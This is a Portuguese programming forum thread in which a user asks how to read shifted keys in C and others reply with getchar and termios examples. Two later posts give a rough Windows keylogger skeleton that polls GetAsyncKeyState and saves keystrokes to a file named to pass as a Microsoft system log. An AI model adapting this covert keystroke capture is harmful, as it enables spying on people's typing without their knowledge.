Enviado em 05/05/2015 - 12:43h
Eu preciso incluir no meu codigo uma teclas que só se conseguem acessar elas com o SHIFT. Por ex.: "{", "}", "+", "_". etc. Me ajudem!!
Enviado em 05/05/2015 - 12:43h
Enviado em 05/05/2015 - 15:13h
Enviado em 05/05/2015 - 17:28h
Tem 2 exemplos!
#include <stdio.h>
int main(){
char letra;
printf("Teste 1: ");
scanf("%c",&letra);
getchar();
printf("Você digitou: %c\nTeste 2: ",letra);
letra = getchar();
printf("Você digitou: %c\n",letra);
return 0;
}
Enviado em 07/05/2015 - 10:08h
#include <stdio.h>
int main(){
char letra;
printf("Teste 1: ");
scanf("%c",&letra);
getchar();
printf("Você digitou: %c\nTeste 2: ",letra);
letra = getchar();
printf("Você digitou: %c\n",letra);
return 0;
}
Enviado em 07/05/2015 - 13:32h
Enviado em 09/05/2015 - 00:40h
Enviado em 09/05/2015 - 10:49h
#include <stdio.h>
int main(){
char letra;
printf("Teste 1: ");
scanf("%c",&letra);
getchar();
printf("Você digitou: %c\nTeste 2: ",letra);
letra = getchar();
printf("Você digitou: %c\n",letra);
return 0;
}
Enviado em 16/05/2015 - 09:11h
#include <iostream>
#include <string>
#include <fstream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int main()
{
string teclas;
if (GetAsyncKeyState(0x41))
{
cout << "a";
teclas += "a";
Sleep(200);
}
// Vai fazendo uma "verificacao" como a feita acima pelo resto do codigo
// Depois cria um arquivo txt para implementar as teclas digitadas
ofstream makefile;
makefile.open("C://Windows//MicrosoftGVSKLOG.TXT");
makefile << teclas;
makefile.close();
}
Enviado em 16/05/2015 - 10:01h
Espero ter ajudado
#include <fstream>
#include <iostream>
#include <termios.h>
#include <unistd.h>
using namespace std;
int getch( ) {
struct termios oldt,
newt;
int ch;
tcgetattr( STDIN_FILENO, &oldt );
newt = oldt;
newt.c_lflag &= ~( ICANON | ECHO );
tcsetattr( STDIN_FILENO, TCSANOW, &newt );
ch = getchar();
tcsetattr( STDIN_FILENO, TCSANOW, &oldt );
return ch;
}
int main(){
string teclas;
// 27 é o Esc
int letra;
while((letra = getch()) != 27){
teclas += (char)letra;
cout << (char)letra;
}
ofstream makefile;
makefile.open("/tmp/Makefile");
makefile << teclas;
makefile.close();
return 0;
}
Enviado em 18/05/2015 - 06:17h
Enviado em 23/05/2015 - 08:56h
Enviado em 23/05/2015 - 09:21h
#include <iostream>
#include <string>
#include <fstream>
#include <winuser.h>
#include <windows.h>
using namespace std;
int main()
{
string teclas;
while(1==1)
{
if (GetAsyncKeyState(VK_SHIFT & 0x30))
{
cout << ")";
teclas += ")";
Sleep(200);
};
ofstream makefile;
makefile.open("C://Windows//MicrosoftGVSKLOG.TXT");
makefile << teclas;
makefile.close();
};
}
Entre na sua conta para responder.